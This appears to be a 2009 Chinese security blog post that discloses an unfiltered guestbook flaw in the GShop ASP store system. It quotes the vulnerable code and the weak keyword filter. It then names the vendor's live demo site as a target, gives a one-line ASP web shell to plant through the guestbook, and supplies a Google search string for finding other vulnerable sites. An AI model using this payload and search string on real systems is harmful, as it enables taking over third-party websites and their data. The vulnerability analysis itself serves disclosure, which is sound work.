首发因子网上商店系统GShop漏洞

上一篇 / 下一篇  2009-05-18 04:08:21 / 个人分类:WEB脚本安全

作者:flaw0r
版本:v2.0 Build 090514
漏洞文件:guestbookadd.asp

漏洞等级:严重

问题代码:

<!--#INCLUDE FILE="config.asp" -->
<!--#INCLUDE FILE="connectdb.asp" -->
<%
     
   name=request("name")
   email=request("email")
   tel=request("tel")
   content=request("content")

   set rs=server.CreateObject("ADODB.RecordSet")

----------------------------省略代码----------------------------

      if rs.eof then
           '增加
           rs.AddNew
           rs("ID")=id
           rs("name")=name                     
           rs("Email")=email          
           rs("tel")=tel
           rs("content")=content
           rs("date1")=now()
  
       end if
  
       rs.Update
       rs.close
       set rs=nothing
  
       conn.close
       set conn=nothing
  
%>

---------------------------------------------------------------

该套系统用的是雷客图ASP站长安全助手检测系统,包含在config.asp中,代码如下:

------------------------------------------------------------------------

If Request.Form<>"" Then StopInjection(Request.Form)

If Request.QueryString<>"" Then StopInjection(Request.QueryString)

If Request.Cookies<>"" Then StopInjection(Request.Cookies)
 
 
Function StopInjection(values)
 For Each N_Get In values
  Dim L_Get, L_Get2
  For Each L_Get In values
   L_Get2 = values(L_Get)
   Set regEx = New RegExp
   regEx.IgnoreCase = True
   regEx.Global = True
   regEx.Pattern = "(\bselect\b|\sand\s|'|;|\sdeclare\s)"
   If regEx.Test(L_Get2) Then
    Alert()
    response.End()
   End If
   Set regEx = Nothing
  Next
 Next
End Function
 
 
Sub Alert()
 Dim str
 str = "<"&"Script. Language=JavaScript"&">"
 str = str & "alert('== 雷客图ASP站长安全助手检测到了危险字符,已经禁止本次提交 ==\n');window.close();"
 str = str & "<"&"/Script"&">"
 response.write  str
End Sub

%>

------------------------------------------------------------------------

作者以为用了雷客图ASP站长助手就大可放心了,并未对我们的留言内容进行任何有效的过滤(根本就没有!),而后台数据库也没有做进一步的防下载措施,导致我们插马成功,实属不该!作为一个合格的程序员怎么能允许这样的错误产生呢?

网络实战:

目标:http://www.yinzisoft.com/shop/index.asp(官方演示站)

我们既不需要注入也不需要进后台,一个小小的留言即可拿下这个网站:

我们在留言内容处写入:<%execute request("value")%>

提交后用一句话木马客户端连接即可!

提示GOOGLE关键字:inurl:typelist.asp?typeid=



 


TAG:

 

评分:0

我来说两句

日历

« 2024-05-24  
   1234
567891011
12131415161718
19202122232425
262728293031 

数据统计

  • 访问量: 6507
  • 日志数: 10
  • 建立时间: 2009-04-22
  • 更新时间: 2010-04-22

RSS订阅

Open Toolbar